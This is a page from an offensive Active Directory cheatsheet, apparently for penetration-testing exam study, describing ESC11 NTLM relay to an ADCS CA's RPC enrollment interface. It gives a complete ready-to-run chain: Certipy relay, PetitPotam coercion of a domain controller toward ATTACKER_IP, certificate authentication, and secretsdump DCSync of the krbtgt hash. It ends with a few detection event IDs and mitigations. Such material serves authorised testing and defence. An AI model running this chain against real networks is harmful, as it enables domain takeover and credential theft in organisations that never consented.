AD^:Active Directory

Attack #34 — ESC11 NTLM Relay to ADCS RPC

ESC11 is similar to ESC8 but targets the CA's RPC enrollment interface (MS-ICPR) instead of the HTTP web enrollment. If the CA does not enforce packet…

advancedupdated 2026-08-10Impacket · Certipy

🟢 Attack #34 — ESC11: NTLM Relay to ADCS RPC


📖 How It Works

ESC11 is similar to ESC8 but targets the CA’s RPC enrollment interface (MS-ICPR) instead of the HTTP web enrollment. If the CA does not enforce packet privacy (the IF_ENFORCEENCRYPTICERTREQUEST flag is disabled), an attacker can relay NTLM authentication to the RPC interface to request certificates — even when HTTP web enrollment is disabled or protected by EPA.


⚙️ Prerequisites

RequirementDetail
IF_ENFORCEENCRYPTICERTREQUEST disabledCA RPC interface doesn’t require signing/encryption
Coercion capabilityPetitPotam, PrinterBug, etc.
Network access to CA RPCTCP 135 + dynamic RPC ports

💻 Full Commands

🔵 Check If Vulnerable

# ── Certipy ───────────────────────────────────────────────────────────────────
certipy find -u low_user@corp.local -p 'Password1' -dc-ip 10.10.10.10 -vulnerable -stdout
# Look for: ESC11 — IF_ENFORCEENCRYPTICERTREQUEST is disabled

🔴 Exploit ESC11

# ── Step 1: Start Certipy relay targeting RPC ─────────────────────────────────
certipy relay -ca CA01.corp.local -template DomainController

# ── Step 2: Coerce DC ─────────────────────────────────────────────────────────
python3 PetitPotam.py ATTACKER_IP DC01.corp.local

# ── Step 3: Authenticate with resulting certificate ──────────────────────────
certipy auth -pfx dc01.pfx -dc-ip 10.10.10.10

# ── Step 4: DCSync ────────────────────────────────────────────────────────────
secretsdump.py corp.local/'DC01$'@DC01.corp.local -hashes :<HASH> -just-dc-user krbtgt

🛡️ Detection — Event IDs

Event IDSourceWhat to Look For
4886Security Log (CA)Certificate enrollment via RPC from unexpected source
4768Security Log (DC)PKINIT TGT using DC certificate

🔗 Attack Chain Context

[ESC11] ──→ NTLM Relay to CA RPC → same result as ESC8
         │
         ├──→ 🔗 Alternative to ESC8 when HTTP enrollment is disabled/protected
         ├──→ 💥 Same outcome: DC cert → DCSync → domain compromise
         └──→ 💀 Defeated by: enable IF_ENFORCEENCRYPTICERTREQUEST, disable NTLM

✅ Attack #34 — ESC11 complete.

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.